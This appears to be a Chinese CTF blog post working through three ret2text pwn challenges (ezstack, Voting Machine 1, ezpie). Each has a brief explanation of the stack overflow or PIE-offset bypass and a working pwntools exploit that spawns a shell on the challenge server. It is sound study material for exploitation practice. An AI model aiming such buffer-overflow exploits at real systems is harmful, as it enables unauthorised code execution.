每日三题——day1

/*这里是一个标题*/

今天做了三道ret2text类型的题,学到了PIE保护的一般绕过方法。

ezstack

  • 一道ret2text,但是需要用gadgets片段构建简单的ROP链,也可以说是ret2libc吧(或许?但不重要)

拖IDA反编译,一个大大的read表示这是个栈溢出

在这里插入图片描述
同时还提供了system,又在data数据中找到了 /bin/sh 。

在这里插入图片描述

这道题很明显就是ret2text

直接溢出并返回system函数和binsh字符串即可

exp

from pwn import *

sh = remote('node5.anna.nssctf.cn',28636)
# sh = process('./pwn')

pop_ret = 0x8048342
str_binsh = 0x804a024
system_addr = 0x08048512

paycode = b'a'*(0x48+4) + p32(pop_ret) + p32(system_addr) + p32(str_binsh)

sh.sendafter("NISACTF",paycode)

sh.interactive()

Voting Machine 1

  • 烂题。是一道ret2text

反编译看源码,找到漏洞函数get

在这里插入图片描述

又找到shellcode

在这里插入图片描述

记录地址,直接溢出即可

exp

from pwn import *

sh = remote('node5.anna.nssctf.cn',28105)
# sh = process('./pwn2')

pay_addr = 0x0400807
payload = b'a'*0xa + p64(pay_addr)

sh.sendline(payload)
print(sh.recv().decode())

ezpie

  • 一道开启了PIE保护的ret2text类型题目

​ 下载附件查看保护,发现开启了PIE保护

在这里插入图片描述

PIE保护机制每次加载的时候都会分配信息基地址。 全称是position-independent-executable,中文解释为地址无关可执行文件,该技术是一 个针对代码段(.text)、数据段(.data)、未初始化全局变量段(.bss)等固定地址的一个 防护技术,如果程序开启了PIE保护的话,在每次加载程序时都变换加载地址。

​ PIE保护只会变更基址,相对位置还是不变的。我们只要算出偏移量就行了

查验源代码发现开局泄露main函数基址,有shell函数

在这里插入图片描述

在这里插入图片描述

我们只要算出偏移量之后对即可加上main基址得到shell的基址。

exp

from pwn import *

sh  =remote('node5.anna.nssctf.cn',28181)
# sh = process('./pwn3')

learn = 0x80f - 0x770
sh.recvuntil(b'gift!\n')
main_addr = eval(sh.recv(10))
shell_addr = main_addr + learn
payload = b'a'* (0x28+4) + p32(shell_addr)

sh.sendafter("Input:",payload)

sh.interactive()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值